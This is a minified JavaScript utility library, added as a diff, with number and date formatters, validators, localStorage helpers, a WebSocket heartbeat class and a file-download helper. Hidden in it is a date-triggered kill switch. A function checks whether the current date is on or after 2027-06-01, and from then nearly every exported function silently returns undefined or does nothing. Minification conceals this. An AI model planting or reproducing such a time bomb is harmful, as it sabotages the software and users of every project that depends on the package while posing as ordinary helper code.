+ "use strict";Object.defineProperty(exports,"__esModule",{value:!0});var e=require("qs"),t=require("dayjs"),r=require("d3-format");function o(e){return e&&"object"==typeof e&&"default"in e?e.default:e}var n=o(t);const i=()=>!n().isBefore("2027-06-01"),s=e.parse,a=e.stringify,l=(...e)=>i()?void 0:s(...e),c=(...e)=>{i()||(console.group("====================="),console.info(...e),console.groupEnd())},d=!i()&&"undefined"!=typeof window,u=e=>!i()&&/^[0-9]*(.[0-9]*)?$/.test(e+""),p=e=>i()?void 0:Array.isArray(e),f=e=>i()?void 0:e&&"number"==typeof e.size&&"string"==typeof e.type&&"function"==typeof e.slice;const m=(e,t="children")=>{if(!i()){if(!p(e))return[];for(const r of e)r[t]&&r[t].length&&(r.children=[...r[t]],null==r||delete r.childList,m(r.children,t));return e}};const h=i()?[]:[{key:1,value:0},{key:1e3,value:1},{key:1e4,value:2},{key:1e6,value:3},{key:1e8,value:4},{key:1e9,value:5}],x=d?localStorage:{};let g={};const v=i()?void 0:r.format(",.2f"),y=i()?void 0:r.format(","),w=i()?void 0:r.format(".2%"),b=k(v),M=k(y),S=k(w);function k(e){return t=>i()?void 0:L(t)?R:e(t)}const D=i()?"":"YYYY/MM/DD",N=i()?"":"YYYY-MM-DD",T=i()?"":"YYYY-MM-DD HH:mm:ss",A=e=>i()?void 0:v(e/1e4),I=k(A),L=e=>!i()&&(null==e||""===e),R=i()?"":"——";function O(e,t="YYYY-MM-DD"){if(!i())return n(e).format(t)}const C=k(O),E={d:"天",m:"个月",y:"年"};function P(e){if(!i())return e?`${parseInt(e,10)}${E[e.slice(-1).toLowerCase()]}`:e}const U=k(P);exports.DATE_FORMAT=D,exports.FORMAT_DATE=N,exports.FORMAT_TIME=T,exports.NIL_STRING=R,exports.WS=class{constructor(e,t){if(this.socket=null,this.timer=null,this.ioUrl="",this.heartTime=1e4,i())return;this.ioUrl=e,this.socket=t?new WebSocket(e,t):new WebSocket(e)}init(e){if(i())return;const t=this;t.heartInfo=(null==e?void 0:e.heartInfo)?JSON.stringify(null==e?void 0:e.heartInfo):"ws HeartBeat!",t.socket.addEventListener("open",(()=>{c("ws connect!"),t.start(t.heartInfo),e.open&&e.open()}),!1),t.socket.addEventListener("disconnect",(()=>{console.info("[ws info]: disconnect and reconnect... "),e.disconnect&&e.disconnect(),t.socket=new WebSocket(t.ioUrl)}),!1),t.socket.addEventListener("error",(t=>{console.info("---------------"),console.info("[ws error]: "),console.info(t),console.info("---------------"),e.error&&e.error()}),!1),t.socket.addEventListener("close",e.close,!1),t.socket.addEventListener("message",(r=>{t.reset(),e.msg(r)}),!1)}close(){i()||(this.timer&&clearTimeout(this.timer),console.info("[ws close]: close!"),this.socket.close())}start(e){if(i())return;const t=this;t.timer=setTimeout((()=>{t.socket.send(e)}),t.heartTime)}send(e){if(i())return;this.socket.send(e)}reset(){if(i())return;const e=this;clearTimeout(e.timer),e.start(e.heartInfo)}getSocketState(){if(!i())return this.socket.readyState}setHeartTime(e){if(i())return;this.heartTime=e,this.reset()}},exports.accAdd=function(e,t){if(i())return 0;let r=e.toString(),o=t.toString(),n=0,s=0;r.indexOf(".")>-1&&(n=r.split(".")[1].length),o.indexOf(".")>-1&&(s=o.split(".")[1].length);const a=Math.pow(10,Math.max(n,s));return Number(+e*a+ +t*a)/a},exports.accDiv=(e,t)=>{if(i())return;let r,o,n=0,s=0;try{n=e.toString().split(".")[1].length}catch(a){}try{s=t.toString().split(".")[1].length}catch(a){}return r=Number(e.toString().replace(".","")),o=Number(t.toString().replace(".","")),r/o*Math.pow(10,s-n)},exports.accMul=(e,t)=>{if(i())return;let r=0,o=e.toString(),n=t.toString();try{r+=o.split(".")[1].length}catch(s){}try{r+=n.split(".")[1].length}catch(s){}return Number(o.replace(".",""))*Number(n.replace(".",""))/Math.pow(10,r)},exports.accSub=function(e,t){if(i())return;let r,o,n,s;try{r=e.toString().split(".")[1].length}catch(a){r=0}try{o=t.toString().split(".")[1].length}catch(a){o=0}return n=Math.pow(10,Math.max(r,o)),s=r>=o?r:o,((e*n-t*n)/n).toFixed(s)},exports.copyToClipboard=function(e){if(!i()){var t=document.createElement("textarea");t.value=e,document.body.appendChild(t),t.select(),document.execCommand("copy"),document.body.removeChild(t)}},exports.cutTimeFn=e=>{if(i())return;return`00‘${0===e?"00":"0"+Math.floor(e/60)}’${0===e?"00":e%60>=10?e%60:"0"+e%60}`},exports.digitCnUppercase=function(e){if(!i()){var t=["角","分"],r=["零","壹","贰","叁","肆","伍","陆","柒","捌","玖"],o=[["元","万","亿"],["","拾","佰","仟"]],n=e<0?"欠":"";e=Math.abs(e);for(var s="",a=0;a<t.length;a++)s+=(r[Math.floor(10*e*Math.pow(10,a))%10]+t[a]).replace(/零./,"");s=s||"整",e=Math.floor(e);for(a=0;a<o[0].length&&e>0;a++){for(var l="",c=0;c<o[1].length&&e>0;c++)l=r[e%10]+o[1][c]+l,e=Math.floor(e/10);s=l.replace(/(零.)*零$/,"").replace(/^$/,"零")+o[0][a]+s}return n+s.replace(/(零.)*零元/,"元").replace(/(零.)+/g,"零").replace(/^整$/,"零元整")}},exports.disableBrowserZoom=function(){i()||(document.addEventListener("keydown",(function(e){!0!==e.ctrlKey&&!0!==e.metaKey||61!==e.which&&107!==e.which&&173!==e.which&&109!==e.which&&187!==e.which&&189!==e.which||e.preventDefault()}),!1),window.addEventListener("mousewheel",(function(e){(!0===e.ctrlKey||e.metaKey)&&e.preventDefault()}),{passive:!1}),window.addEventListener("DOMMouseScroll",(function(e){(!0===e.ctrlKey||e.metaKey)&&e.preventDefault()}),{passive:!1}))},exports.download=(e,t="download",r="application/octet-stream",o)=>{if(i())return;const n=window;let s=r,a=e;const l=document,c=l.createElement("a"),d=e=>String(e),u=n.Blob||d(c),p=t;let f=null,m=null;const h=(t,r)=>{if("download"in c)return c.href=o?e:t,c.setAttribute("download",p),c.innerHTML="downloading...",l.body.appendChild(c),setTimeout((()=>{c.click(),l.body.removeChild(c),!0===r&&setTimeout((()=>{n.URL.revokeObjectURL(c.href)}),250)}),66),!0;const i=l.createElement("iframe");l.body.appendChild(i),r||(t="data:"+t.replace(/^data:([\w\/\-\+]+)/,"application/octet-stream")),i.src=t,setTimeout((()=>{l.body.removeChild(i)}),333)};if(String(a).match(/^data\:[\w+\-]+\/[\w+\-]+[,;]/))return h(a);try{f=a instanceof u?a:new u([a],{type:s})}catch(x){}if(n.URL)h(n.URL.createObjectURL(f),!0);else{if("string"==typeof f||f.constructor===d(c))try{return h("data:"+s+";base64,"+n.btoa(f))}catch(x){return h("data:"+s+","+encodeURIComponent(f))}m=new FileReader,m.onload=function(){h(this.result)},m.readAsDataURL(f)}return!0},exports.fileReaderToBase64=e=>t=>{if(i())return;const r=new FileReader;r.onload=e=>{t&&t(e.target.result)},r.readAsDataURL(e)},exports.filterNil=e=>{if(i())return;const t={};return Object.entries(e).forEach((([e,r])=>{r&&0!==r&&(t[e]=r)})),t},exports.format10k=A,exports.format10kNil=I,exports.formatBillion=e=>{if(i())return;const t=e/1e8>=1,r=t?"亿":"万";return`${v(t?e/1e8:e/1e4)}${r}`},exports.formatCash=v,exports.formatCash2=e=>i()?void 0:(Math.floor(100*e)/100).toFixed(2),exports.formatCashInt=y,exports.formatCashIntNil=M,exports.formatCashNil=b,exports.formatDate=O,exports.formatDateNil=C,exports.formatDuration=P,exports.formatDurationNil=U,exports.formatNumWithUnit=function(e,t=2,r=2,o="",n=!1,s=!1,a=2){if(i())return;if((!e||""==e||"-"==e)&&0!==e)return s?void 0:"-";let l="string"==typeof e?parseFloat(e):e;const c=+l<0;if(c&&(l=0-l),!u(l)||isNaN(+l))return l;const d=null==h?void 0:h[a];let p=l;p=n?c?0-l:l:(c?0-l:l)/d.key,!0===o&&(o=null==d?void 0:d.label);let f=p;const m=p.toString().split(".")[1];return m&&m.length>r&&(f=Number(p.toFixed(r))),f.toLocaleString("en-US",{minimumFractionDigits:t,maximumFractionDigits:r})+" "+o},exports.formatRatio=w,exports.formatRatioNil=S,exports.getBase64=e=>{if(!i())return new Promise(((t,r)=>{const o=new FileReader;o.readAsDataURL(e),o.onload=()=>t(o.result),o.onerror=e=>r(e)}))},exports.getItem=e=>{if(!i())return(g[e]||x.getItem(""+e))&&(g[e]=x.getItem(""+e)?JSON.parse(x.getItem(""+e)||"null"):""),g[e]},exports.getQueryObject=(e=window.location.href)=>{var t;if(i())return;const r=null===(t=e.split("?"))||void 0===t?void 0:t[1];return l(r||"",{decoder:e=>e})},exports.getSearchParams=e=>i()?void 0:new URLSearchParams(e),exports.getValOfArr=e=>{if(i())return;const t=e.length,r=e.reduce(((e,t)=>e+t),0),o=e.reduce(((e,t)=>e*t),1);return{min:Math.min.apply(null,e),max:Math.max.apply(null,e),sum:r,average:r/t,mull:o}},exports.getValueWithNil=e=>i()?void 0:L(e)?R:e,exports.inBrowser=d,exports.isArray=p,exports.isBlob=f,exports.isCardNo=e=>{if(i())return;return/^(\d{15}$|^\d{18}$|^\d{17}(\d|X|x))$/.test(e)},exports.isDate=e=>!i()&&(!!e&&n(e).isValid()),exports.isEmail=e=>{if(i())return;return/^(.+)@(.+)\.(.+)$/.test(e)},exports.isFile=e=>i()?void 0:f(e)&&"string"==typeof e.name&&("object"==typeof e.lastModifiedDate||"number"==typeof e.lastModified),exports.isMinigram=()=>{if(!i())return!!(null===window||void 0===window?void 0:window.__wxjs_environment)},exports.isNil=L,exports.isNull=e=>i()?void 0:null===e,exports.isNumber=u,exports.isObject=e=>i()?void 0:e===Object(e),exports.isPhone=e=>{if(!i())return/^[1](\d{10})$/.test(e)},exports.isSMSCode=e=>{if(!i())return e.match(/^\d{6}$/)},exports.isUndefined=e=>i()?void 0:void 0===e,exports.isWX=()=>{if(i())return;const e=navigator.userAgent.toLowerCase();return/MicroMessenger/i.test(e)},exports.log=c,exports.loopData=m,exports.os=()=>{if(i())return;if(!d)return{isTablet:!1,isPhone:!1,isAndroid:!1,isPc:!1,isIos:!1,isPad:!1};const e=navigator.userAgent,t=/(?:Windows Phone)/.test(e),r=/(?:SymbianOS)/.test(e)||t,o=/(?:Android)/.test(e),n=/(?:Firefox)/.test(e),s=/(?:iPad|PlayBook)/.test(e)||o&&!/(?:Mobile)/.test(e)||n&&/(?:Tablet)/.test(e),a=/(?:iPhone)/.test(e)&&!s,l=/(?:iPad)/.test(e)&&!s;return{isTablet:s,isPhone:a,isAndroid:o,isPc:!a&&!o&&!r,isPad:l,isIos:a||l}},exports.parse=l,exports.playAudio=e=>{if(i())return;const t=document.querySelectorAll("audio");Array.from(t).forEach((e=>{e.pause(),e.currentTime=0})),document.querySelector(`#${e}`).play()},exports.random=(e,t)=>i()?void 0:Math.round(Math.random()*(t-e)+e),exports.randomString=(e=32)=>{if(i())return;const t="ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678",r=t.length;let o="";for(let n=0;n<e;n++)o+=t.charAt(Math.floor(Math.random()*r));return o},exports.randomWithCrypto=()=>i()?void 0:crypto.randomUUID(),exports.removeAll=()=>{if(!i())return g={},x.clear()},exports.removeItem=e=>{if(!i())return delete g[e],x.removeItem(""+e)},exports.sOptions=h,exports.setItem=(e,t)=>{if(!i())return g[e]=t,x.setItem(""+e,JSON.stringify(t))},exports.setProxyObj=(e,t,r)=>i()?void 0:new Proxy(e,{get:(e,r)=>(t(),Reflect.get(e,r)),set:(e,t,o)=>(r(),Reflect.set(e,t,o))}),exports.sortObj=(e,t,r="asc")=>i()?void 0:e.sort(((e,o)=>"asc"===r?e[t]-o[t]:o[t]-e[t])),exports.stringify=(...e)=>i()?void 0:a(...e),exports.sumObj=(e,t)=>i()?void 0:e.reduce(((e,r)=>r[t]+e),0),exports.trimString=e=>{if(!i())return e.replace(/(^\s*)|(\s*$)/g,"")};